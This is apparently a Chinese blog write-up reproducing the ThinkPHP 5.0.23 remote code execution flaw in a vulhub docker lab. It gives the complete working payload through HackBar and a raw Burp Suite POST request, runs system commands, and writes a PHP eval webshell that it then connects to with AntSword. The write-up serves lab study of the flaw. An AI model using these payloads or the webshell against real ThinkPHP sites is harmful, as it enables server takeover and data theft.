当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] ThinkPHP 5.0.23-Rce

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞名称
  • 二、影响范围
  • 三、指纹信息
  • 四、漏洞描述
  • 五、环境搭建
    • 1、进入thinkphp 5.0.23-rce环境
    • 2、启动thinkphp 5.0.23-rce环境
    • 3、查看thinkphp 5.0.23-rce环境
    • 4、访问thinkphp 5.0.23-rce环境
    • 5、查看thinkphp 5.0.23-rce提示信息
    • 6、关闭thinkphp 5.0.23-rce环境
  • 六、漏洞复现 - harkbar
    • 1、构造POC执行Phpinfo
    • 2、构造POC执行使用echo输出
    • 3、构造POC执行ls
    • 4、构造POC创建test.php文件并写入webshell
  • 七、漏洞复现 - burp suite
    • 1、构造POC执行id
    • 2、构造POC执行whoami
    • 3、构造POC执行ls
    • 4、构造POC创建test.php文件并写入phpinfo()
    • 5、构造POC创建test.php文件并写入webshell
  • 八、漏洞修复
  • 九、相关资源

一、漏洞名称

ThinkPHP 5.0.23-Rce

二、影响范围

ThinkPHP 版本 5.x < 5.1.31, <= 5.0.23

三、指纹信息

"match": "header_contains"
"content": "thinkphp"

"match": "header_contains"
"content": "think_template"

"match": "body_contains"
"content": "href=\"http://www.thinkphp.cn\">thinkphp</a><sup>"

四、漏洞描述

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

五、环境搭建

1、进入thinkphp 5.0.23-rce环境

cd vulhub/thinkphp/5.0.23-rce

在这里插入图片描述

2、启动thinkphp 5.0.23-rce环境

docker-compose up -d

在这里插入图片描述

3、查看thinkphp 5.0.23-rce环境

docker-compose ps

在这里插入图片描述

4、访问thinkphp 5.0.23-rce环境

http://192.168.13.131:8080/

在这里插入图片描述

5、查看thinkphp 5.0.23-rce提示信息

cat README.md

在这里插入图片描述

6、关闭thinkphp 5.0.23-rce环境

docker-compose down

在这里插入图片描述

六、漏洞复现 - harkbar

这里我采用了两种方式进行复现,一种利用harkbar插件,一种利用burpsuite工具
建议把两种方式都尝试一下,先来看一下harkbar插件,至于证明用可以去看我前面的文章

http://192.168.13.131:8080/index.php?s=captcha

在这里插入图片描述

1、构造POC执行Phpinfo

根据POC我们使用hackbar进行测试,可以执行,后面尝试获取phpinfo。

http://192.168.13.131:8080/index.php?s=captcha
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

在这里插入图片描述

2、构造POC执行使用echo输出

http://192.168.13.131:8080/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo _PowerShell

在这里插入图片描述

3、构造POC执行ls

http://192.168.13.131:8080/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

在这里插入图片描述

4、构造POC创建test.php文件并写入webshell

http://192.168.13.131:8080/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST['_PowerShell'])?>' >_PowerShell.php

在这里插入图片描述

http://192.168.13.131:8080/_PowerShell.php
_PowerShell

在这里插入图片描述

文件管理

在这里插入图片描述

打开虚拟终端

在这里插入图片描述
在这里插入图片描述

七、漏洞复现 - burp suite

1、构造POC执行id

POST /index.php?s=captcha HTTP/1.1
Host: node3.buuoj.cn:27512
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

直接在burp的repeater模块里面构造就行了

在这里插入图片描述

2、构造POC执行whoami

这里直接修改id即可,id处可以执行任意代码。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

在这里插入图片描述

3、构造POC执行ls

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

在这里插入图片描述

4、构造POC创建test.php文件并写入phpinfo()

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo();?>" >test.php

在这里插入图片描述

http://192.168.13.131:8080/test.php

在这里插入图片描述

5、构造POC创建test.php文件并写入webshell

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST['_PowerShelll'])?>' >_PowerShelll.php

在这里插入图片描述

蚁剑连接

在这里插入图片描述

八、漏洞修复

及时更新版本

九、相关资源

1.docker 搭建 vulhub 靶场环境

https://blog.csdn.net/qq_51577576/article/details/125048165

2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)

https://blog.csdn.net/qq_51577576/article/details/127002116

3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

https://blog.csdn.net/qq_51577576/article/details/126982054

4、[ 常用工具篇 ] AntSword 蚁剑安装及使用详解

https://blog.csdn.net/qq_51577576/article/details/126912450

相关文章:

  • 算法分析与设计:10 大排序算法大汇总(Java)
  • 【斯坦福大学公开课CS224W——图机器学习】六、图神经网络1:GNN模型
  • Google Earth Engine(GEE)——GEE错误结果没有变化?
  • 《Improved Techniques for Training GANs》-论文阅读笔记
  • 十一假期,分享几个好玩儿的GitHub项目
  • AcWing 第71场周赛
  • Redis实战 - 02 Redis 保存短信验证码实现用户注册
  • AcWing——第 71 场周赛
  • 利用Vulhub复现log4j漏洞CVE-2021-44228
  • 【学生网页设计作业源码】基于html+css保护海豚主题网页设计与制作(7页)
  • 频率响应说明
  • C++教程系列之-01-C++概述与NOIP案例
  • Network 之十四 email 通信架构、Postfix 部署详解
  • Tableau8——数据操作
  • python基础知识笔记
  • 【node学习】协程
  • 【vuex入门系列02】mutation接收单个参数和多个参数
  • JavaScript 基本功--面试宝典
  • JavaScript服务器推送技术之 WebSocket
  • java小心机(3)| 浅析finalize()
  • WePY 在小程序性能调优上做出的探究
  • WinRAR存在严重的安全漏洞影响5亿用户
  • 从零到一:用Phaser.js写意地开发小游戏(Chapter 3 - 加载游戏资源)
  • 软件开发学习的5大技巧,你知道吗?
  • 十年未变!安全,谁之责?(下)
  • 我的业余项目总结
  • 小程序开发之路(一)
  • - 语言经验 - 《c++的高性能内存管理库tcmalloc和jemalloc》
  • 智能合约Solidity教程-事件和日志(一)
  • 【运维趟坑回忆录】vpc迁移 - 吃螃蟹之路
  • 组复制官方翻译九、Group Replication Technical Details
  • ​力扣解法汇总1802. 有界数组中指定下标处的最大值
  • ![CDATA[ ]] 是什么东东
  • #define 用法
  • #QT(串口助手-界面)
  • $.extend({},旧的,新的);合并对象,后面的覆盖前面的
  • (1)安装hadoop之虚拟机准备(配置IP与主机名)
  • (Bean工厂的后处理器入门)学习Spring的第七天
  • (笔试题)分解质因式
  • (论文阅读22/100)Learning a Deep Compact Image Representation for Visual Tracking
  • (论文阅读32/100)Flowing convnets for human pose estimation in videos
  • (免费分享)基于springboot,vue疗养中心管理系统
  • (顺序)容器的好伴侣 --- 容器适配器
  • (译)2019年前端性能优化清单 — 下篇
  • ***php进行支付宝开发中return_url和notify_url的区别分析
  • .bat批处理(一):@echo off
  • .NET 8 中引入新的 IHostedLifecycleService 接口 实现定时任务
  • .net core webapi 大文件上传到wwwroot文件夹
  • .net core 源码_ASP.NET Core之Identity源码学习
  • .NET Core6.0 MVC+layui+SqlSugar 简单增删改查
  • .net2005怎么读string形的xml,不是xml文件。
  • ?
  • [ C++ ] 继承
  • [Android] Amazon 的 android 音视频开发文档
  • [Android]如何调试Native memory crash issue